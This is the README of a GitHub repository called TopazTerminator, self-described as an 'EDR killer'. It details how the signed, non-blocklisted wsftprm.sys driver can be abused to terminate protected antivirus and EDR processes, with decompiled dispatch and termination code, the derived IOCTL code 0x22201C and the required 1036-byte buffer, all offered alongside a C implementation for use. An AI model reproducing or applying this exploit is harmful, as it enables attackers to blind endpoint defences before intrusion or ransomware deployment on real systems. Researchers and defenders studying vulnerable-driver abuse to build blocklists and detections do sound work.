Skip to content

Sec-Fork/TopazTerminator

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 

Repository files navigation

TopazTerminator

F, Another driver got burned.. I was gatekeeping wsftprm.sys driver for a while ;) but since someone posted a public POC, I'm ungatekeeping it. We all know it'll get added to the driver blocklist soon, so here's my implementation for the same — in C

This project exploits the vulnerable wsftprm.sys (Topaz Antifraud kernel driver) to terminate protected processes (e.g., antivirus/EDR services) on Windows.

As of January 2026, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) remains one of the signed vulnerable drivers that is not on Microsoft's official Vulnerable Driver Blocklist

RE

There's shit ton of info on how to load & reverse a driver so refer to any of them. The only thing that's interesting about this driver is how they handle the IOCTLs.. The driver does not use a standard switch statement for IOCTL dispatching. Instead, it employs a chain of subtractions from the IOCTL code to obscure the intended values.

Main Dispatch Function (IRP_MJ_DEVICE_CONTROL handler)

__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
    // ...
    v7 = IoControlCode;  // v6[6] = Parameters.DeviceIoControl.IoControlCode

    v8  = v7 - 0x222000;
    v9  = v8 - 4;
    v10 = v9 - 4;
    v11 = v10 - 16;

    if ( v11 == 4 && InputBufferLength == 1036 )
    {
        // Copy 1036-byte input buffer
        // Extract first DWORD as PID (v41)
        // Call sub_14000264C(v41, buffer) → leads to termination
    }
}

ZwTerminateProcess() func call

sub_14000264C(unsigned int a1, __int64 a2)
{
    // ...
    v4 = sub_140002848(a1);  // a1 = PID from buffer[0..3]
}

__int64 __fastcall sub_140002848(unsigned int a1)  // PID
{
    CLIENT_ID ClientId = { (HANDLE)a1, 0 };
    OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
    HANDLE ProcessHandle;

    ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
    if (NT_SUCCESS(status) && ProcessHandle)
    {
        ZwTerminateProcess(ProcessHandle, 0);
        ZwClose(ProcessHandle);
    }
    // ...
}

Calculating the IOCTL Code (by reversing the Subtractions)

so now we know the prereq to reach vulnfunc. Basically v11 == 4 && InputBufferLength == 1036 so we can sort of work backwards from the condition to get the IOCTL Code.. Something like this:

v11 == 4v10 - 16 == 4v10 = 20 (0x14)
→ v9  - 4  == 20v9  = 24 (0x18)
→ v8  - 4  == 24v8  = 28 (0x1C)
→ v7  - 0x222000 == 28v7 = 0x222000 + 0x1C = 0x22201C

And then you can use DeviceIoControl with the IOCTL code to terminate the process you want (including PPL processes)

Last tested on Windows Version 25H2!

About

Just another EDR killer

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 100.0%